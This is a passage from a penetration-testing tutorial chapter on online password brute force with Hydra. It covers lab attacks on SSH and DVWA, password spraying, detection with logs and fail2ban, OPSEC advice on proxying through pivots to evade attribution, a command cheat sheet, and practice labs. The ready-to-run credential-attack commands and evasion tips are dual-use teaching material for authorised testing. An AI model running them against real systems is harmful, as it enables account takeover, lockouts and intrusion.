hydra -l bob -e nsr -P small.txt -t 4 -f -V -s 2222 ssh://127.0.0.1

• -V shows every login:pass attempt live so you can watch the loop.
• -s 2222 because our container maps SSH to host port 2222.

Expected (abridged):

[ATTEMPT] target 127.0.0.1 - login "bob" - pass "bob" - 4 of 8 [child 0]
[ATTEMPT] target 127.0.0.1 - login "bob" - pass "123456" - 5 of 8 [child 1]
[ATTEMPT] target 127.0.0.1 - login "bob" - pass "iloveyou1" - 7 of 8 [child 2]
[2222][ssh] host: 127.0.0.1   login: bob   password: iloveyou1
[STATUS] attack finished for 127.0.0.1 (valid pair found)
1 of 1 target successfully completed, 1 valid password found

12.3 Attack the DVWA login form

First capture the request. With curl you can see the failure string:

curl -s -c cookies.txt 'http://localhost:8080/login.php' -o /dev/null   # grab session cookie
curl -s -b cookies.txt -d 'username=admin&password=wrong&Login=Login' \
     'http://localhost:8080/login.php' | grep -i 'incorrect\|invalid\|login failed'

DVWA re-renders “Login failed” on bad creds. Build the Hydra command around exactly that string. DVWA needs the session cookie, so use C=:

hydra -l admin -P small.txt -t 8 -f \
  127.0.0.1 -s 8080 http-post-form \
  "/login.php:username=^USER^&password=^PASS^&Login=Login:F=Login failed:C=/login.php"

• -s 8080 — host port for the container.
• C=/login.php — GET this first to obtain the PHPSESSID cookie DVWA requires.
• F=Login failed — the failure string; Hydra reports success when it’s absent.

Expected:

[8080][http-post-form] host: 127.0.0.1   login: admin   password: password
[STATUS] attack finished for 127.0.0.1 (valid pair found)
1 of 1 target successfully completed, 1 valid password found

12.4 Practice the spray

hydra -L users.txt -p 'Winter2025!' -u -t 4 -V -s 2222 ssh://127.0.0.1

Note how each user gets exactly one attempt at the single password — the spray shape. In a real AD environment you’d space multiple passwords across lockout windows.

12.5 Now put on the blue-team hat

Watch the attack land in the logs while you run 12.2:

docker logs -f ssh-lab | grep -i 'failed\|authentication'
# or on a real host:
sudo tail -f /var/log/auth.log | grep 'Failed password'

You’ll see a Failed password for bob from 127.0.0.1 line for every wrong guess — the exact signal a SIEM or fail2ban keys on. Then add fail2ban (Part 11), rerun, and watch the ban trigger. Attacking and defending the same box is how the two halves of this skill lock into place.

12.6 Resume an interrupted attack

Kill a long Hydra run with Ctrl-C and it writes ./hydra.restore. Resume exactly where it stopped:

hydra -R              # restore the previous session from hydra.restore

Use -I to ignore an old restore file and start clean. This matters on long engagements where a run gets interrupted and you don’t want to re-attempt (and re-log) thousands of already-tried pairs.

---

Part 13: Operational Reality, Pitfalls & OPSEC

The gap between “Hydra printed a password in the lab” and “Hydra is useful on a real engagement” is filled with these hard-won lessons.

Tune threads to the protocol, not to your impatience. The default -t 16 is wrong for SSH (drops connections → false negatives) and reckless for RDP/SMB (lockouts). Start low, confirm you’re getting real accept/reject responses (use -V), then raise cautiously. More threads is not more results if the server is dropping your connections.

False negatives are the silent killer. If Hydra reports “0 valid passwords found,” that does not prove the password isn’t in your list. It might mean: connections were throttled/dropped, your failure string was wrong (for http-post-form), the account was already locked, a WAF served you a CAPTCHA page (whose body lacked your failure string, so Hydra thought every attempt “succeeded” or “failed” incorrectly), or you had the field names wrong. Always sanity-check by manually logging in once with a known-bad and known-good credential and confirming Hydra’s verdict matches on both.

The http-post-form failure-string trap. The most common cause of a broken web attack is a failure string that also appears on success, or doesn’t appear on failure. If Hydra reports every password as valid, your F= string never matched (so absence-of-failure was always true) — usually because the app returned a CAPTCHA/rate-limit page, or the string had a typo, or special characters (&, :, spaces) confused the colon-parsing. Escape or simplify; pick a short, stable, unique substring of the real error.

Account lockout is a weapon you can fire at yourself. A careless vertical brute against AD locks the target user — sometimes your client’s CEO — which is disruptive, unprofessional, and instantly noticed. Know the policy, prefer spraying, and when in doubt, ask the client for the lockout policy in the rules of engagement.

OPSEC and attribution. Every attempt carries your source IP into the target’s logs. On a red-team engagement where stealth matters, untuned Hydra is an immediate detection. Mitigations (within authorised scope): route through a SOCKS proxy / pivot so the traffic originates from an internal foothold rather than your workstation, drastically reduce rate, and prefer spraying’s one-attempt-per-account profile. Hydra honours proxies via environment variables:

# Route Hydra through a SOCKS5 pivot (e.g. an SSH dynamic tunnel / Ligolo-ng)
export HYDRA_PROXY=socks5://127.0.0.1:1080
hydra -l bob -P small.txt -t 2 ssh://10.10.10.50    # now egresses via the pivot
# HYDRA_PROXY_HTTP=http://127.0.0.1:8080 for HTTP-CONNECT proxying of http-* modules
unset HYDRA_PROXY   # remember to clear it afterwards

Wordlist discipline wins. Because online throughput is tiny, the quality of your (small) list matters far more than offline. A curated list of 20 target-relevant guesses (company name + season/year + special char, appliance defaults, -e nsr) beats rockyou’s first 20,000 entries, and finishes before the account locks. Everything from Chapter 2 (CeWL scraping the target’s own site, targeted mangling) applies here at small scale.

Know when to stop and switch tools. Dynamic CSRF → Python/Burp/Patator. Windows/AD → NetExec. RDP flakiness → Ncrack. Hydra is a broad generalist; reaching for the specialist tool when the generalist struggles is a mark of experience, not defeat.

---

Part 14: Final Revision / Summary

The one paragraph to carry forward: online brute force attacks a live service that logs and rate-limits you, so it is measured in tens of guesses per second, not billions — the opposite of the offline cracking in Chapters 1–2. Hydra is the standard tool, driven by a uniform grammar (-l/-L users, -p/-P passwords, -t threads, service://target) across ~50 protocol modules. The simple modules (SSH, FTP, RDP, SMB, http-get) are near-identical; the hard one is http-post-form, whose three-colon PATH:BODY:F=failstring syntax you must build from a captured real request. Because every attempt is logged and any lockout policy defeats a naive vertical brute, the professional technique is password spraying — one password across many users, paced under the lockout window — and the professional habit is a tiny curated wordlist plus -e nsr, not rockyou. Defensively, the attack is loud: bursts of SSH Failed password / Windows Event 4625 from one source, caught by fail2ban and, for sprays, by horizontal (many-account) failure correlation — and neutralised almost entirely by MFA. Choose the right tool: Hydra/Patator for web and generics, Ncrack for RDP, NetExec for Windows/AD.

Key mental hooks:

• Uppercase = file, lowercase = single. -L/-P are files; -l/-p are single values. Backwards is the #1 syntax bug.
• -e nsr — free wins: null, same-as-user, reversed. Always include.
• http-post-form = PATH:BODY:F=fail. Capture the real request first; include every field; pick a failure string that appears only on failure.
• Spray, don’t brute. One password × many users beats many passwords × one user against anything with lockout.
• Online is loud. If offline is possible (you have the hash), do that instead.

---

Part 15: Cheat Sheet / Quick Reference

# ---- Core grammar ----
hydra -l USER   -p PASS      target service      # single user, single pass
hydra -L users.txt -P pass.txt target service    # files (cross-product!)
hydra -C combo.txt target service                # login:pass pairs, no cross-product
hydra -l USER -e nsr -P pass.txt target service  # + null / same / reversed
# Key flags: -t THREADS  -w WAIT  -f stop-on-hit  -o out.txt  -s PORT  -S ssl  -V verbose  -u users-outer  -R restore

# ---- SSH (4 threads!) ----
hydra -l bob -e nsr -P rockyou.txt -t 4 -f ssh://10.10.10.50

# ---- FTP (test anonymous first) ----
hydra -L users.txt -P pass.txt -t 8 -f ftp://10.10.10.50

# ---- RDP (single thread, lockout risk; Ncrack often better) ----
hydra -l Administrator -P pass.txt -t 1 -W 5 rdp://10.10.10.50

# ---- SMB (prefer NetExec for AD) ----
nxc smb 10.10.10.50 -u users.txt -p pass.txt

# ---- HTTP Basic / Digest (keys off status code) ----
hydra -L users.txt -P pass.txt 10.10.10.50 http-get /admin/
hydra -L users.txt -P pass.txt -S 10.10.10.50 https-get /admin/

# ---- HTTP POST form  PATH:BODY:F=fail  ----
hydra -l admin -P rockyou.txt -t 16 -f 10.10.10.50 http-post-form \
  "/login.php:username=^USER^&password=^PASS^&Login=Login:F=Invalid credentials."
#   add :C=/login.php to grab a session cookie/CSRF first
#   use :S=Logout instead of F= when success is easier to detect

# ---- Password spray (one pass, many users, users-outer) ----
hydra -L users.txt -p 'Winter2025!' -u -t 4 -o spray.txt ssh://10.10.10.50

# ---- Brute charset instead of a list ----
hydra -l admin -x 6:8:a ssh://10.10.10.50      # 6-8 lowercase; a=alpha 1=num A=upper

# ---- Multiple targets / restore / proxy ----
hydra -M targets.txt -L users.txt -P pass.txt ssh
hydra -R                                        # resume aborted session
export HYDRA_PROXY=socks5://127.0.0.1:1080      # egress via a pivot

# ---- Alternatives ----
medusa -h 10.10.10.50 -U users.txt -P pass.txt -M ssh -t 4
ncrack -p 3389 --user Administrator -P pass.txt 10.10.10.50 -T4
patator http_fuzz url=http://10.10.10.50/login.php method=POST \
  body='username=admin&password=FILE0' 0=pass.txt -x ignore:fgrep='Invalid'

# ---- Defense (run against your OWN lab) ----
# fail2ban jail: maxretry=5 findtime=600 bantime=3600
sudo fail2ban-client status sshd
sudo tail -f /var/log/auth.log | grep 'Failed password'

Symptom	Likely cause	Fix
Compiled without LIBSSH support	built without libssh-dev	install libssh-dev, rebuild
Every password reported valid	F= string never matched (CAPTCHA/typo)	capture real request; fix failure string
0 found but creds are correct	threads dropped / lockout / wrong fields	lower -t, verify manually, check fields
SSH very slow / false negatives	too many threads	use -t 4 or -t 1
Account locked mid-run	vertical brute vs lockout policy	switch to spraying, space attempts
RDP flaky results	Hydra’s rdp module	use Ncrack

---

Part 16: Practice Labs & Resources

Train this exact skill — online authentication attacks — on targets built for it:

• TryHackMe — “Hydra” (dedicated room): walks through Hydra against SSH and a web form; the fastest way to cement the syntax.
• TryHackMe — “Brute It” and “Basic Pentesting”: SSH brute force into a foothold, then privesc — end-to-end use of Hydra in a kill chain.
• PortSwigger Web Security Academy — Authentication labs (free): “Username enumeration via different responses”, “Password brute-force via password change”, “Broken brute-force protection, IP block”, “2FA broken logic”. These teach the web side — why failure strings and rate-limit bypasses matter — and are best solved with Burp Intruder/Python once you understand what Hydra does under the hood.
• HackTheBox starting-point and easy Linux boxes with exposed SSH/FTP (and the classic weak-cred web panels) — practice choosing a small targeted list over rockyou.
• DVWA and bWAPP (self-hosted, Part 12): the standard http-post-form practice targets; toggle DVWA’s security level to see how added tokens/rate-limits break a naive Hydra command and force you toward Burp/Patator.
• VulnHub boxes tagged with weak SSH/FTP credentials for offline-in-a-VM practice with no legal ambiguity.
• fail2ban on your own VPS or lab host: attack it with Hydra and watch yourself get banned — the single most instructive defensive exercise for this chapter.

Practice questions to test yourself:

1. You have an NTLM hash from a Responder capture and SSH access to the same host’s login prompt. Which do you attack, and why is online almost never the right choice here?
2. Write the full hydra http-post-form command for a form that POSTs user/pw/submit=Go to /signin, renders “Access denied” on failure, and needs a session cookie fetched from /signin first.
3. An AD environment locks accounts after 5 failures per 15 minutes. Design a spray of three candidate passwords across 400 users that never risks a lockout. What is the safe cadence?
4. Hydra reports every single password as valid against a web login. Give three distinct causes and how you’d confirm each.
5. From the blue-team seat, why does per-account lockout fail to catch a well-paced password spray, and what detection replaces it?

Work each of these until the answer is immediate. Online brute force is a small tool with a large number of ways to get it subtly wrong — and the difference between an operator who “ran Hydra” and one who understands it is entirely in the tuning, the failure-string discipline, the choice to spray, and the awareness of exactly how loud every packet is. The next chapter moves from attacking live services back to the offline world with John the Ripper, where the hashes you capture here — and everywhere else in this notebook — get cracked at scale.